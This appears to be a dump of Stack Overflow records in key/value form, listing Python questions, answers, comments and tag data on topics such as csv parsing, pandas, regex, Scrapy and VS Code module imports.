type: QuestionComment
has text: Not sure if this is the best way but you could put months in separate rows adapting this [answer](https://stackoverflow.com/a/42152199/4819376)
comment on: http://stackoverflow.com/q/48785833

http://stackoverflow.com/comment/84421739
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48710879
has text: You get the dataset from Excel, Html table or else?
score: 0

http://stackoverflow.com/q/48777675
has comment: http://stackoverflow.com/comment/84557011
possible better answer: http://stackoverflow.com/a/48777765
has answer: http://stackoverflow.com/a/48777739
type: Question
accepted answer: http://stackoverflow.com/a/48777873
has answer: http://stackoverflow.com/a/48777765
has comment: http://stackoverflow.com/comment/84557020
downvote count: 0
has answer: http://stackoverflow.com/a/48777952
favorite count: 0
has title: Ensure multiple user inputs to list are integers within a while loop Python 3
tagged with: python
answer count: 4
tagged with: python-3.x
score: 2
upvote count: 2
has answer: http://stackoverflow.com/a/48777873
has body: the code below works as expected. I am trying to ensure that all data entered is integers. Non integers should get the error meessage. My while loop works for the first input where the user is asked what # of numbers to enter. However it does not catch errors for the subsequent inputs. while True: try: userIn = int(input("Input no of numbers :")) userNums = [] uNums = [] print("Type " + str(userIn) + " numbers in list :") for index in range(int(userIn)): userNums.append(input("entry" + str(index+1) +" = ")) for number in userNums: if number not in uNums: uNums.append(number) print("unique number counted") for uNum in uNums: print(str(uNum) + " count is " + str(userNums.count(uNum)) + "times") break except: print("Error. only ints allowed")
type: AnsweredQuestion

http://stackoverflow.com/comment/84417417
type: AnswerComment
has text: As per the PyAutoGui documentation the other problem for failure could be the resolutions of monitors as I wrote. Did you checked on some other files.
comment on: http://stackoverflow.com/a/48709190
type: Comment
score: 0

http://stackoverflow.com/q/48703979
tagged with: replace
has title: invalid group reference when using re.sub()
downvote count: 0
favorite count: 0
upvote count: 8
answer count: 3
tagged with: python
accepted answer: http://stackoverflow.com/a/48704036
possible better answer: http://stackoverflow.com/a/48704005
has body: I'm having troubles with re.sub. I understand from other answers that this is due to the fact I'm referencing to a capturing group that I don't have. My question is: how do I adjust my code to have a valid group? s = "hello a world today b is sunny c day" markers = "a b c".split() pattern = r'\b' + ' (?:\w+ )?(?:\w+ )?'.join(markers) + r'\b' text = re.sub(pattern, r'\1', s) # this gives error I want to have this : "hello a world today b is sunny c day"
tagged with: regex
has answer: http://stackoverflow.com/a/48704005
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48704247
type: Question
score: 8
linked to: http://stackoverflow.com/q/13636733
has answer: http://stackoverflow.com/a/48704036

http://stackoverflow.com/q/48658276
tagged with: text-mining
type: Question
tagged with: http://stackoverflow.com/tag/r
has comment: http://stackoverflow.com/comment/84314293
has comment: http://stackoverflow.com/comment/84314124
upvote count: 0
answer count: 1
has comment: http://stackoverflow.com/comment/84314548
favorite count: 0
has comment: http://stackoverflow.com/comment/84314149
has comment: http://stackoverflow.com/comment/84368056
tagged with: python
tagged with: regex
has body: "The string? is made up a load of strings but the problem is the removal of question mark in the word string? without removing the other question marks. can anybody have a look?" In the above text I have to alter "string?" to "string". But I dont want the statement to lose the rest of the ? in the text. Resultant text should be: "The string is made up a load of strings but the problem is the removal of question mark in the word string without removing the other question marks. can anybody have a look?" I have tried gsub, string_replace and a number of other methods, they end up removing or replacing the word and still keeping the "?"
score: -5
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84314581
linked to: http://stackoverflow.com/q/24355351
has answer: http://stackoverflow.com/a/48658340
has comment: http://stackoverflow.com/comment/84314653
has title: Remove exact alphanumeric string from text in R/Python
duplicate of: http://stackoverflow.com/q/24355351
downvote count: 5

google-chrome
tags question: http://stackoverflow.com/q/48675338
tags question: http://stackoverflow.com/q/48749757
tags question: http://stackoverflow.com/q/48723087
tags question: http://stackoverflow.com/q/48799913
tags question: http://stackoverflow.com/q/48766134
tags question: http://stackoverflow.com/q/48670637
type: Tag
tags question: http://stackoverflow.com/q/48729667
tag name: google-chrome
tags question: http://stackoverflow.com/q/48768826
tags question: http://stackoverflow.com/q/48767091

http://stackoverflow.com/q/48772583
upvote count: 11
has answer: http://stackoverflow.com/a/51422912
linked to: http://stackoverflow.com/q/45092342
downvote count: 1
type: AnsweredQuestion
score: 10
has answer: http://stackoverflow.com/a/51466795
type: Question
possible better answer: http://stackoverflow.com/a/48888775
has body: Can Google Cloud Functions handle python with packages like sklearn, pandas, etc? If so, can someone point me in the direction of resources on how to do so. I've been searching a while and it seems like this is impossible, all I've found are resources to deploy the base python language to google cloud.
tagged with: google-cloud-platform
has answer: http://stackoverflow.com/a/48888775
linked to: http://stackoverflow.com/q/46172514
linked to: http://stackoverflow.com/q/52233949
favorite count: 0
has answer: http://stackoverflow.com/a/50966006
accepted answer: http://stackoverflow.com/a/51466795
tagged with: google-cloud-functions
has title: Python in Google Cloud Functions
tagged with: python
linked to: http://stackoverflow.com/q/51664813
answer count: 4

http://stackoverflow.com/a/48723976
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/84453161
has comment: http://stackoverflow.com/comment/84447461
has body: Pandas is designed to read structured data. For unstructured data, just use the built-in open: with open('file.csv') as f: reader = csv.reader(f) row1 = next(reader) # gets the first line row2 = next(reader) # gets the second line You can attach strings to the dataframe like this: df.comments = 'My Comments' But note: Note, however, that while you can attach attributes to a DataFrame, operations performed on the DataFrame (such as groupby, pivot, join or loc to name just a few) may return a new DataFrame without the metadata attached. Pandas does not yet have a robust method of propagating metadata attached to DataFrames.
upvote count: 2
accepted answer of: http://stackoverflow.com/q/48723933
has comment: http://stackoverflow.com/comment/84446853
type: Answer
answers question: http://stackoverflow.com/q/48723933
has comment: http://stackoverflow.com/comment/84447086
downvote count: 0
has comment: http://stackoverflow.com/comment/84446822
has comment: http://stackoverflow.com/comment/84453266
score: 2

http://stackoverflow.com/comment/84446520
has text: So where did you get stuck? You can mock `requests.post` just fine, and you can have a mock raise exceptions by setting the `side_effects` attribute.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/48723711
score: 1

http://stackoverflow.com/a/48793494
answers question: http://stackoverflow.com/q/48793363
has body: I'm gonna write how I would simplify this, see docs for more info. import datetime as dt def CurrentTime(): # Returns time in format %I:%M %p, e.g. '06:59 PM' myTime = dt.datetime.now().strftime("%I:%M %p") return myTime print(CurrentTime())
has comment: http://stackoverflow.com/comment/84590005
downvote count: 0
upvote count: 2
has comment: http://stackoverflow.com/comment/84590086
type: Answer
score: 2

http://stackoverflow.com/a/48775720
has body: Untested, but here's a way you could do this in 'embarassingly parallel' fashion: import multiprocessing as mp import os, errno from Bio import SeqIO import gzip def ImportFile(file): maps = {} with gzip.open(file,"r") as handle: recs = SeqIO.parse(handle,"fastq") for rec in recs: tag = str(rec.seq)[0:16] if tag not in maps.keys(): maps[tag] = 1 else: maps[tag] += 1 return {file:maps} files = os.listdir(".") for file in files[:]: if not file.endswith(".fastq.gz"): files.remove(file) # I'd test this with smaller numbers before using up all 20 cores pool = mp.Pool(processes=10) output = pool.map(ImportFile,files)
has comment: http://stackoverflow.com/comment/84553402
accepted answer of: http://stackoverflow.com/q/48773816
upvote count: 1
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/84553325
type: Answer
has comment: http://stackoverflow.com/comment/84553649
downvote count: 0
answers question: http://stackoverflow.com/q/48773816
score: 1

http://stackoverflow.com/comment/84554672
comment on: http://stackoverflow.com/a/48776175
score: 0
type: AnswerComment
type: Comment
has text: Some methods require more forgiveness than others... :P

http://stackoverflow.com/q/48759553
type: Question
tagged with: numpy
answer count: 2
has answer: http://stackoverflow.com/a/48777971
has comment: http://stackoverflow.com/comment/84519770
downvote count: 0
has title: Speeding up slow nested loops through rows in dataframe?
tagged with: optimization
favorite count: 0
type: UnansweredQuestion
upvote count: 1
tagged with: python
has answer: http://stackoverflow.com/a/48762778
has body: cluster_name size is 101,878 maxpaths size is 1,508,931 Dataframe looks like this | cluster_name | maxpath | chrom_pos | |--------------+---------------------+--------------------| | cluster_1007 | 5_G,6_C,7_A,8_A,9_T | chr11:611117-799999| | cluster_1007 | 5_G,6_C,7_A,8_A,9_T | chr11:611117-799999| | cluster_1007 | 3_G,4_C,5_A,6_A,7_T | chr12:823492-102341| What I'm trying to do is for a given cluster I want to compare each maxpaths to other given maxpaths in that cluster, I'm interested in the clusters where the maxpaths do not overlap and their annotations on the chromosome are also disjoint. For example "5_G,6_C,7_A,8_A,9_T" and "3_G,4_C,5_A,6_A,7_T" do not overlap and have different annotations. One of the biggest pain points in my code is that I compare each maxpath to all the other maxpaths in that cluster. Some clusters have over 1000 maxpaths so it slows down a lot. I tried to reduce the number of pairwise comparisons I do by returning the name of the cluster when it finds two maxpaths that fulfill the criteria. I've tried moving certain parts of the code into numpy arrays but it's still extremely slow. My code looks like this. Does anyone have any ideas that could help? import pandas as pd import numpy as np def find_cluster(cluster, maxpaths): """ returns clusters with disjoint maxpaths annotated to different genomes or annotated on the same genome min of 10kb apart """ for idx, item in enumerate(maxpaths): unique = set(item.split(',')) for j in range(idx+1, len(maxpaths)): compare = set(maxpaths[j].split(',')) chrom_string1 = subset_df[ subset_df['maxpath'] == item]['chrom_pos'].values[0] chrom_string2 = subset_df[ subset_df['maxpath'] == maxpaths[j]]['chrom_pos'].values[0] chrom1 = chrom_string1.split(':')[0] chrom_end1 = int(chrom_string1.split('-')[1]) chrom2 = chrom_string2.split(':')[0] chrom_end2 = int(chrom_string2.split('-')[1]) if len(unique.intersection(compare)) == 0: if chrom1 != chrom2: return(cluster) elif chrom1 == chrom2: if abs(chrom_end…
score: 1

http://stackoverflow.com/q/48767005
has body: Hi I have following code which is working properly for python GUI based on wxpython-gooey. However my task is to create a main GUI with multiple buttons and after clicking any button respective GUI should open and process the respective task and close. The code i have is not for main GUI but after clicking button on main GUI the below code's GUI must open, the sub-GUI code is as follows from __future__ import print_function import pandas as pd import numpy as np import glob import os import json from argparse import ArgumentParser from gooey import Gooey, GooeyParser @Gooey(program_name="Jio Project") def parse_args(): """ Use GooeyParser to build up the arguments we will use in our script Save the arguments in a default json file so that we can retrieve them every time we run the script. """ stored_args = {} # get the script name without the extension &amp; use it to build up # the json filename script_name = os.path.splitext(os.path.basename(__file__))[0] args_file = "{}-args.json".format(script_name) # Read in the prior arguments as a dictionary if os.path.isfile(args_file): with open(args_file) as data_file: stored_args = json.load(data_file) parser = GooeyParser(description='Qualcomm-Samsung a Jio project') parser.add_argument('data_directory', action='store', default=stored_args.get('data_directory'), widget='DirChooser', help="Source directory that contains Excel files") parser.add_argument('output_directory', action='store', widget='DirChooser', default=stored_args.get('output_directory'), help="Output directory to save summary report") parser.add_argument('cust_file', action='store', default=stored_args.get('cust_file'), widget='FileChooser', help='Customer Account Status File') parser.add_argument('-d', help='Start date to include', default=stored_args.get('d'), widget='DateChooser') args = parser.parse_args() # Store the values of the arguments so we have them next time we run with open(args_file, 'w') as data_file: # Using vars(args) returns the data as …
score: 1
has title: using python gooey how to open another GUI after clicking one out of multiple button
type: Question
tagged with: user-interface
downvote count: 0
answer count: 1
favorite count: 0
tagged with: python
has answer: http://stackoverflow.com/a/50369151
upvote count: 1
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/50369151

pygobject
type: Tag
tags question: http://stackoverflow.com/q/48766502
tags question: http://stackoverflow.com/q/48695056
tags question: http://stackoverflow.com/q/48687615
tag name: pygobject

http://stackoverflow.com/q/48718888
has comment: http://stackoverflow.com/comment/84436775
has body: I'm a novice at python, and I've just started to learn about lists. I have tried to make a copy of different kind of lists and then changing the copy. The last case actually changes the list of the original when changing the copy. I really can't understand why this is happening: a=[1,2,3,4] c=a[:] c[2]=100 print("a=", a) Which gives me a= [1,2,3,4] a = [[1, 2], [3, 4]] c=a[:] c[1]=[3,100] print("a=", a) which gives me a=[[1,2],[3,4]] a = [[1, 2], [3, 4]] c=a[:] c[1][1]=100 print("a=", a) Which changes a, and gives me a=[[1,2],[3,100]]. Can anyone explain to me, why a is changed when changing the copy of a in the last case?
duplicate of: http://stackoverflow.com/q/2612802
has title: Changing the copy, changing the original
type: Question
score: 0
duplicate of: http://stackoverflow.com/q/2541865
linked to: http://stackoverflow.com/q/19951816
type: UnansweredQuestion
tagged with: python
tagged with: list
answer count: 0
has comment: http://stackoverflow.com/comment/84436747

http://stackoverflow.com/a/48760135
type: Answer
upvote count: 1
has body: i don't have enough reputation to comment that why i'm trying to answer what i understood from this, please don't mind I faced the same issue when i was doing live Forex data streaming display. You can do one thing. What i did is reverse approach(i don't know exactly how to do this). Write a python script using Google api to access to those details and collect it. Store it in DB. then pass this data to template over Django-restframework you will be able at access those data in js now. You can make ajax call using set-interval function to make it refresh every interval. if you do this it will invoke your view function that every particular interval so it will be saved in db over model as well as displaying in template. i hope it helps.
has comment: http://stackoverflow.com/comment/84561550
answers question: http://stackoverflow.com/q/48757245
score: 1
downvote count: 0

http://stackoverflow.com/q/48716446
duplicate of: http://stackoverflow.com/q/11349333
type: UnansweredQuestion
has body: I tried this proposed solution on a large (7000 line) csv file): Read File From Line 2 or Skip Header Row` The following code worked but only if I manually remove the header: RatedTracksFile = open('pyall_rated.csv') RatedTracksReader = csv.reader(RatedTracksFile) data_list = list(csv.reader(RatedTracksFile)) eligible1 = open('py_all1.csv', 'a') # open py_all1.csv in append mode for i in range(len(data_list)): trackrating = int(data_list[i][12]) ... I tried different ways of adding this suggested code: with open(fname) as f: next(f) for line in f: I am new to python and cannot figure out how to add that in. I keep getting the same value type error since it still reads row 1,col 12 (which is a string from the header) and not the integer found on row 2, col 12: ValueError: invalid literal for int() with base 10: 'GroupDesc' SOLVED: Based on Sphinx' comment below (thanks!).
tagged with: python
linked to: http://stackoverflow.com/q/11349333
has answer: http://stackoverflow.com/a/48716843
type: Question
has title: Python - Skip header row with csv.reader
score: 15
has comment: http://stackoverflow.com/comment/84432235
upvote count: 15
answer count: 2
downvote count: 0
favorite count: 0
linked to: http://stackoverflow.com/q/4796764
has answer: http://stackoverflow.com/a/48716816

http://stackoverflow.com/a/48778019
type: Answer
has body: This error is occurring because you called the variables the same as the functions. To fix this you would just need to change the name of either the functions or the variables. For example: class dog: def __init__(self, name, breed, owner): self.name = name self.breed = breed self.owner = owner def bark(self): print(self.name, "barks.") def breeds(self): print(self.name, "is a", self.breed) def owners(self): print(self.name, "'s owner is ", self.owner, sep='') d1 = dog("Tommy", "Terrier", "Mary") d1.bark() d1.breeds() d1.owners() d2 = dog("Johnny", "Bloodhound", "Alex") d2.bark() d2.breeds() d2.owners() In your code Python thinks you are calling the variable (self.breed or self.owner) not the functions (self.breed, self.owners) since both are defined in the same way. It cannot distinguish between the two and just takes the first it finds (i.e the variables). Which returns an error. You could reproduce the callable error in simple terms like this: breed = "BloodHound" breed() Which is exactly what you are doing above.
answers question: http://stackoverflow.com/q/48777823
score: 0

http://stackoverflow.com/a/48688846
score: -1
type: Answer
accepted answer of: http://stackoverflow.com/q/48688693
answers question: http://stackoverflow.com/q/48688693
downvote count: 1
has body: That error is Django telling you that it can't find any URLs named 'assignment_detail' that have an argument to pass in. This is because your url entry in myproject/urls.py is missing the argument (post_id) that you use in your view. You'll need to update that url line to something similar to this: url(r'^assignment_detail/(?P&lt;post_id&gt;[0-9]+)/$', views.assignment_detail, name='assignment_detail'), The change at the end of the URL adds a named regular expression to capture the post_id value which will then be passed into the view. Looking at your template code, you'll need to update your {% url %} block to use post.id (notice period) not post_id
upvote count: 0
type: AcceptedAnswer

http://stackoverflow.com/comment/84391345
has text: can you post example data and desired output?
comment on: http://stackoverflow.com/q/48696315
type: Comment
type: QuestionComment
score: 5

http://stackoverflow.com/q/48790279
type: UnansweredQuestion
tagged with: python
answer count: 0
tagged with: scipy
type: Question
tagged with: minimization
score: 0
has title: Alternatives to scipy.optimize Newton-CG for minimization if I have the Hessian?
has comment: http://stackoverflow.com/comment/84583497
has comment: http://stackoverflow.com/comment/84632740
has comment: http://stackoverflow.com/comment/84583693
has comment: http://stackoverflow.com/comment/91541357
has body: I've got a complicated, nonlinear problem to minimize, but I have analytic expressions for the Jacobian and Hessian. I'm currently using scipy.optimize.minimize with the Newton-CG method and am looking to test some alternative methods. Can anyone recommend packages that have other python minimization routines that use pre-computed Hessians and not numerical approximations?
tagged with: gradient-descent

http://stackoverflow.com/comment/84389533
has text: I'm building a forward selection procedure, so `d` typically starts at 2 and ends up around 20-30? `k` would then decrease with each step.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48695308

http://stackoverflow.com/comment/84540346
has text: If the code comes from a separate user, maybe just start it in a separate process using [`subprocess.run`](https://docs.python.org/3/library/subprocess.html)?
score: 0
type: Comment
comment on: http://stackoverflow.com/q/48769330
type: QuestionComment

http://stackoverflow.com/comment/84577042
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/48777121
has text: Interesting! Thanks for explaining the solution. When mm() is called, I'm getting an AttributeError where "'float' object has no attribute 'split'". Any idea why that could be?
score: 0

http://stackoverflow.com/a/48761924
type: Answer
answers question: http://stackoverflow.com/q/48752282
has comment: http://stackoverflow.com/comment/84564301
upvote count: 10
has comment: http://stackoverflow.com/comment/84560234
score: 10
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/84555832
accepted answer of: http://stackoverflow.com/q/48752282
has body: Here is a set of steps you can follow to estimate the location of peaks: Smooth the data. Any number of filters are available for this. An excellent starting point is the smooth function described in the scipy cookbook. It will be up to you to select the appropriate parameters like window size: baseline = smooth(data, ...) Treat the smoothed data as a baseline, sort of like a best fit line in the absence of a known fitting function. Subtract the baseline from the data: noise = data - baseline The result is essentially a rough estimate of the noise about your pseudo-fit. Set a threshold and chop of the parts where the noise is too much: threshold = 3.0 * np.std(noise) mask = np.abs(noise) &gt; threshold There are plenty of configuration options to play with here: smoothing filter type and window size, threshold factor and even metric. E.g., you can use IQR or something entirely different instead of standard deviation. What you do with the masked points is also entirely up to you. Common options are to discard entirely or to replace with the baseline values.

http://stackoverflow.com/comment/84329349
score: 0
has text: There's no server there to give you a status. Read the comments of that link you posted and instead use something like `try... except ConnectionError`.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48665846

http://stackoverflow.com/q/48730026
favorite count: 0
tagged with: datetime
tagged with: python
has answer: http://stackoverflow.com/a/48730096
upvote count: 2
score: 0
downvote count: 2
type: Question
type: AnsweredQuestion
has title: How to find out how many days a month has and save it in a variable
accepted answer: http://stackoverflow.com/a/48730096
has body: I have been struggling lately to find out how many days a month has and save them in a var.So far my progress is: import calendar days_of_month = calendar.monthrange(2018,2) However this brings up (3,28).I only want the number 28.What can i do to save only 28 in a var ?
answer count: 1

http://stackoverflow.com/comment/84421679
score: 0
type: AnswerComment
type: Comment
has text: sorry, nevermind--had a couple processes running simultaneously and that was slowing things up
comment on: http://stackoverflow.com/a/48709806

http://stackoverflow.com/q/48774548
answer count: 1
tagged with: python
favorite count: 0
upvote count: 2
type: UnansweredQuestion
score: 2
has title: Tensorboard Histogram of Activations
tagged with: tensorflow
type: Question
has answer: http://stackoverflow.com/a/50788319
downvote count: 0
has body: How can I plot histograms of the activations of tf.layers.dense in tensorboard? Consider the following situation: with tf.variable_scope('hidden'): hidden_layer = tf.layers.dense(input, 100, activation=tf.nn.relu) I can plot the weights and biases from hidden with the following code: for v in tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, scope='hidden'): tf.summary.histogram("{}/weight_histogram".format(v.name), v) However, I can't seem to get a collection of the activations as well. How could I modify this to also plot histograms of the activations?
tagged with: tensorboard

http://stackoverflow.com/comment/84575251
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48786693
has text: OK. But maybe you have a link to an example. Examples are often more understandable than official docs (even if it is usefull when you want to go deep inside). I haven't found anything.
score: 0

http://stackoverflow.com/q/48775786
tagged with: http://stackoverflow.com/tag/csv
has title: Store each column from csv to list?
has comment: http://stackoverflow.com/comment/84553282
tagged with: python
accepted answer: http://stackoverflow.com/a/48775941
answer count: 4
score: -1
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/6473679
linked to: http://stackoverflow.com/q/10169919
downvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/84553494
has answer: http://stackoverflow.com/a/48776272
has comment: http://stackoverflow.com/comment/84553419
has comment: http://stackoverflow.com/comment/84553416
has comment: http://stackoverflow.com/comment/84553279
has comment: http://stackoverflow.com/comment/84554480
has comment: http://stackoverflow.com/comment/84553615
possible better answer: http://stackoverflow.com/a/48775914
upvote count: 0
has answer: http://stackoverflow.com/a/48775914
has answer: http://stackoverflow.com/a/48775958
favorite count: 0
has body: I have a problem. I wanna to store each column from .csv file into list. So if I have csv file like that https://i.sstatic.net/WuRyt.png And I want to store it in the way that: ColumnA = [50-001, 50-002, 50-003, 50-004, 50-005, 50-006, 50-007, 50-008, 50-009] ColumnB = [85-001, 85-003, 85-004 , 85-004 ,85-004 , 85-005 ,85-005, 85-006 ,85-007] etc. I have for now something like that, but it's store each row to list, but I need each column to the list. Can someone help me? I also tried with pandas, and also I can't do that. csvfile = open('Kody pocztowe csv.csv', 'r') csv1 = csv.reader(csvfile,delimiter = ',') sort = sorted(csv1, key=operator.itemgetter(0)) for eachline in sort: print(eachline) csvfile.readline() lx = [] for line in csvfile: row = line.split(',') lx.append(row) print(lx)
has comment: http://stackoverflow.com/comment/84553471
has answer: http://stackoverflow.com/a/48775941

http://stackoverflow.com/comment/84377604
comment on: http://stackoverflow.com/a/48689348
has text: Not entirely sure. Maybe your `df1` and `df2` are derived from other tables so they could have multiple `id` columns?
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/84420744
type: Comment
comment on: http://stackoverflow.com/a/48709814
has text: A working algorithm would have to check for traps. Example: 10,000. Sum of the numbers is 1. 1 to any power is 1. Make sure your program does not get stuck in an infinite loop!
type: AnswerComment
score: 0

http://stackoverflow.com/comment/84359504
comment on: http://stackoverflow.com/q/48671421
type: Comment
type: QuestionComment
score: 0
has text: Unrelated to your question, but seeing some parts of your code, you might be interested in `os.path.basename`, `os.path.splitext` and possibly other functions provided in `os.path` (https://docs.python.org/3/library/os.path.html).

http://stackoverflow.com/comment/84496181
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/48748055
type: Comment
has text: @AkshayNevrekar without it, i get the error 'numpy.ndarray' object has no attribute 'append'. i am using the numpy array because image being read is converted into numpy array

http://stackoverflow.com/q/48789173
tagged with: scrapy
type: Question
answer count: 2
accepted answer: http://stackoverflow.com/a/48789561
score: 2
downvote count: 0
favorite count: 0
possible better answer: http://stackoverflow.com/a/48790108
has answer: http://stackoverflow.com/a/48790108
has title: Scrapy CrawlSpider - add meta data to request
tagged with: python
has body: I'm working on a CrawlSpider which gets multiple Domain objects (it contains main_url and name - domain name). Then it crawls whole page for every Domain object. So there is a Domain with main_url = 'http://www.example.com' and name = 'example.com'. I need to get this domain object for every response of this domain. So http://www.example.com, http://www.example.com/x, http://www.example.com/x/x/y/ etc. So everytime I'm parsing response from this domain, I get particular Domain object. The problem is that it is not doable inside rules = () class MainSpider(CrawlSpider): name = 'main_spider' rules = ( Rule(LinkExtractor(), callback='parse_item', follow=True,), ) def start_requests(self): for d in Domain.objects.all(): self.allowed_domains.append(d.name) yield scrapy.Request(d.main_url,callback=self.parse,meta={'domain':d}) def parse_item(self, response): # I need to get `Domain` object for all responses Do you know how to do that? Moreover, this has another problem. It doesn't send the first (root) url response to parse_item method.
type: AnsweredQuestion
upvote count: 2
has answer: http://stackoverflow.com/a/48789561

http://stackoverflow.com/comment/84485194
comment on: http://stackoverflow.com/a/48726265
has text: I ran *Drive Fuse example.ipynb* The cell with:
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/q/48775755
tagged with: python-requests
possible better answer: http://stackoverflow.com/a/61405651
has comment: http://stackoverflow.com/comment/84554866
type: Question
has answer: http://stackoverflow.com/a/61405651
tagged with: visual-studio-code
upvote count: 9
has answer: http://stackoverflow.com/a/48776923
linked to: http://stackoverflow.com/q/24664435
linked to: http://stackoverflow.com/q/17309288
has answer: http://stackoverflow.com/a/77074522
has comment: http://stackoverflow.com/comment/84555384
has comment: http://stackoverflow.com/comment/84555027
has comment: http://stackoverflow.com/comment/84553467
downvote count: 0
favorite count: 0
has answer: http://stackoverflow.com/a/74908611
accepted answer: http://stackoverflow.com/a/48776923
score: 9
answer count: 5
has comment: http://stackoverflow.com/comment/84555250
has answer: http://stackoverflow.com/a/62301279
tagged with: python
has body: Preface: I've tried every suggestion in this post. None of them work. I'm attempting to import the module requests into a Python file (using Python 2.7.14). Visual Studio Code outputted this in the console: ImportError: No module named requests Upon digging, I discovered I don't have requests installed, so I fixed that with the following commannd from Terminal: sudo pip install requests, based on this answer with a bazillion upvotes. I closed VS Code and restarted it, opened my Python file, ran it and I got the same error. I proceeded to try each of the solutions in hopes one would work. None did. I recently installed anaconda and I suspect that is the source of my problem, so I uninstalled every instance of Python I could find via brew and also stray installations that were parts of other installations that have accumulated over time on my hard disk based on this answer. I then reinstalled python from scratch after running brew doctor, brew prune, etc. I also dug into the code settings within Visual Studio Code to see if perhaps that's where my problem was. One of the suggestions was to override the settings for python in the code-runner.executorMap setting, so I typed which python in Terminal to obtain the path to python and updated VS Code's User Settings to the path which python returned. Now, I'm using this as my code-runner.executorMap for python: "code-runner.executorMap": { "python" : "/usr/bin/python" } I've verified Python is working by throwing in a couple of simple statements in: print("Printing works fine") print(1+1) The moment I put import requests at the top of the file, I get this error and nothing below it executes: [Running] /usr/bin/python "/Users/me/Documents/developerNew/python/tempCodeRunnerFile.py" Traceback (most recent call last): File "/Users/me/Documents/developerNew/python/tempCodeRunnerFile.py", line 1, in import requests ImportError: No module named requests I have my file named something else, so I think my problem lives in the "tempC…
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84554769
has title: Importing requests into Python using Visual Studio Code
linked to: http://stackoverflow.com/q/3819449

http://stackoverflow.com/q/48736997
has answer: http://stackoverflow.com/a/48737344
upvote count: 1
type: Question
score: 1
linked to: http://stackoverflow.com/q/44173949
answer count: 2
has answer: http://stackoverflow.com/a/48737082
downvote count: 0
favorite count: 0
accepted answer: http://stackoverflow.com/a/48737082
has title: return rows with duplicate pairs across columns in python
tagged with: pandas
has body: I have a csv file that looks like this: visitor guest location year person1 person2 memphis 1994 person1 person4 detroit 2008 person2 person1 oakland 2006 person4 person1 chicago 1993 person3 person1 oakland 1998 person5 person6 detroit 2001 I am trying to write a python program that goes through the csv and if there is a visitor + guest that matches a guest+visitor it returns the entire row, like this… visitor guest location year person1 person2 memphis 1994 person1 person4 detroit 2008 person2 person1 oakland 2006 person4 person1 chicago 1993 I'm new to python. What I’ve got so far is this: import pandas as pd df = pd.read_csv(“visitors.csv") df2= df[df.duplicated([‘visitor’, ‘guest’], keep=False)] but this is just giving me back the list if ’visitor’ + ‘guest’ are repeated, not if ‘guest’ + ‘visitor’ is the same as ‘visitor’ + ‘guest.’ what i’m trying to do seems to be a variation on this: return rows with unique pairs across columns but this code: df2 = df.loc[:, [‘visitor’, ‘guest’]].apply(sorted, axis=1).drop_duplicates() is dropping the duplicates (and just giving me ‘visitor’ and ‘guest’ columns), instead of keeping them.
tagged with: http://stackoverflow.com/tag/csv
tagged with: python
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/48737344

http://stackoverflow.com/a/48781482
type: Answer
has comment: http://stackoverflow.com/comment/84564547
upvote count: 3
has comment: http://stackoverflow.com/comment/84564496
has comment: http://stackoverflow.com/comment/84564236
score: 3
has body: Using drop_duplicates, create a Series which you'll pass to map: m = df.drop_duplicates('Account_Number', keep='first')\ .set_index('Account_Number')\ .Dummy_Account df.Account_Number = df.Account_Number.map(m) df Account_Number Dummy_Account 0 ACC0000000000001 ACC0000000000001 1 ACC0000000000002 ACC0000000000002 2 ACC0000000000001 ACC0000000169532 3 ACC0000000123005 ACC0000000123005 4 ACC0000000000004 ACC0000000000004 5 ACC0000000000005 ACC0000000000005 6 ACC0000000123005 ACC0000000000040 Timings df = pd.concat([df] * 1000000, ignore_index=True) # jezrael's solution %%timeit v = df.sort_values('Account_Number') v['Account_Number'] = v['Dummy_Account'].mask(v.duplicated('Account_Number')).ffill() v.sort_index() 315 ms ± 1.65 ms per loop (mean ± std. dev. of 7 runs, 1 loop each) # in this post %%timeit m = df.drop_duplicates('Account_Number', keep='first')\ .set_index('Account_Number')\ .Dummy_Account df.Account_Number.map(m) 163 ms ± 3.56 ms per loop (mean ± std. dev. of 7 runs, 10 loops each) Note that the performance will depend on your actual data.
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/48781372
answers question: http://stackoverflow.com/q/48781372
has comment: http://stackoverflow.com/comment/84564394
has comment: http://stackoverflow.com/comment/84564250

http://stackoverflow.com/q/48729922
tagged with: python
tagged with: opencv
answer count: 0
type: Question
tagged with: numpy
has body: I'm trying to create a video streaming application, which has 3 components: An streaming application which streams via UDP the image received from camera The UDP server which reads for data, puts it in a local file HTTP Server, with a /cam.mjpg API, whose handler reads every 0.05 seconds from that pickle file, and transmits it (content type multipart) I'm getting the following error: ---------------------------------------- Exception happened during processing of request from ('192.168.43.251', 54236) Traceback (most recent call last): File "/usr/lib/python3.4/socketserver.py", line 613, in process_request_thread self.finish_request(request, client_address) File "/usr/lib/python3.4/socketserver.py", line 344, in finish_request self.RequestHandlerClass(request, client_address, self) File "/usr/lib/python3.4/socketserver.py", line 669, in __init__ self.handle() File "/usr/lib/python3.4/http/server.py", line 398, in handle self.handle_one_request() File "/usr/lib/python3.4/http/server.py", line 386, in handle_one_request method() File "streaming_video_server2.py", line 25, in do_GET img = cv2.imdecode(img, x) TypeError: only size-1 arrays can be converted to Python scalars ---------------------------------------- Here are my files, one by one (1, 2, 3) #!/usr/bin/python import cv2 from PIL import Image import time import datetime import numpy as np import socket import sys import _pickle as cPickle import struct def StartStreamSending(): 